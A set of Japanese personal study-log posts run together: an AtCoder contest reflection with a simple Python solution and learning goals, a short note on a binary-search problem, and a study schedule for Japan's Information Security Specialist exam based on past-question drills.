また、$A_i$の上限は$10^9$なのですが、$N+1$以上は実質上$N$と変わりません。

今回のB問題はPython3(PyPy)で提出です。
今後、A問題やB問題はPythonで提出したほうが良いのかな、と思いました。
何をするにしてもPythonのほうが簡単なんですよね。
ただ、C++と比べて速度が遅い、メモリを喰うという問題点があるため、そこは使い分けかな、と。

```python:B.py
def main() -> None:
  n = int(input())
  a = list(map(int, input().split()))
  for x in range(n, -1, -1):
    count = 0
    for ap in a:
      if ap >= x:
        count += 1
    if count >= x:
      print(x)
      break

if __name__ == "__main__":
  main()
```

## C問題以降

C問題はちょっと見てみましたが、うかつなことをすると簡単にTLE(制限時間切れ)を起こすと思い思考がフリーズ。
今回は(B問題で時間がかかり過ぎたこともあり)2問で終了です。

## 今後の課題

- 数理素養を身につける([アルゴ式](https://algo-method.com/)を活用する)
- アルゴ数学本や鉄則本の問題が難しいので、まずは予習として一通り読む
- 来週こそはコンテストに参加していきたいところ(体調による)
- 体調を整える(日頃の生活から無理はしない)

## 最後に

[Algorithm部門のレーティングと業務における期待できる活躍](https://info.atcoder.jp/utilize/jobs/rating-business-impact)で区切られているレート147まですぐそこ(現在145)なので、できる限り参加していきたい所存です。無理しない範囲で。

## 余談・アルゴ式の進捗

アルゴ式ですが、少しずつ進めています。現在の進捗としては……

- Python入門・基礎完了
- 数理素養、プログラミングのための数学完了。論理的思考力88%

以上です。これ以外の項目はすべて未着手です。
競プロ日記#25/06/07

# AtCoder
## AtCoder Beginner Contest 388
[C - Various Kagamimochi](https://atcoder.jp/contests/abc388/tasks/abc388_c)
- 単純な二分探索の問題。
- 解法もわかっていたのだがupper_bound()の使い方で上手くいかず解説AC
- C++を競プロでしか使っていないため言語仕様について浅すぎる
情報処理安全確保支援士試験について2

続き

https://qiita.com/teraco/items/607420d8883335f2156a

## 迷いはある

が、TOEICの時と同じく勉強を進めて見えてくるものもあるので、とりあえずやるしかない。

### 午前I

おそらく丸暗記で良さそう。ひとまず以下サイトで過去5年分の過去問丸暗記。

https://www.ap-siken.com/apkakomon.php

同じ丸暗記なら紙を使った方がいい、というのがある。

https://www.jouhoushori.com/entry/%EF%BC%92%E9%80%B1%E9%96%93%E3%81%A7%E3%81%A7%E3%81%8D%E3%82%8B%E5%8D%88%E5%89%8D%E2%85%A0%E5%AF%BE%E7%AD%96

忘却曲線的にはankiを使うのがよいが、shared deckに問題がないので難しい。厳密に忘却曲線にそってなくてもいいので、忘れたころに問題をやる、でいいのかな?

### 午前Ⅱ

丸暗記ではなく、内容を理解する必要がある

https://www.sc-siken.com/s/sckakomon.php

この問題を見つつ、分からない所は理解する作戦

### 午後

後で考える。8月には **情報処理安全確保支援士「専門知識＋午後問題」の重点対策** など、なんらかの対策を始めてないと遅い気がする

### スケジュール

午前Iを過去5年分=10回分やると800問。1分1問としても13時間かかる。1問2分なら26時間。

- 通勤中などはもちろん実施
    - 暇なとき(起きた時、寝る時)にも実施する

午前Ⅱはここ5年のものをチョイスるとして250問。[2ヶ月で情報処理安全確保支援士試験（セキスペ）に一発合格した勉強法](https://qiita.com/ngimixing/items/1f20f36000f6802f1ed4)の通り、分からない問題はChatGPTに依頼して理由まで理解する。

1問5分だと750分 = 12.5時間。前記の記事の方は750問を解いたと言っているので、それだと37.5時間になる。が、いきなりそのレベルを目指しても無理なので、いったん250問を解く。

#### 直近の目標

- 午前I
    - 過去5年分=10回分800問を過去問道場でやる。ゴールはすべての問題にチェックを付け終わる事。
- 午前Ⅱ
    - 過去5年分=5回分250問を過去問道場でやる。ゴールはすべての問題にチェックを付け終わる事。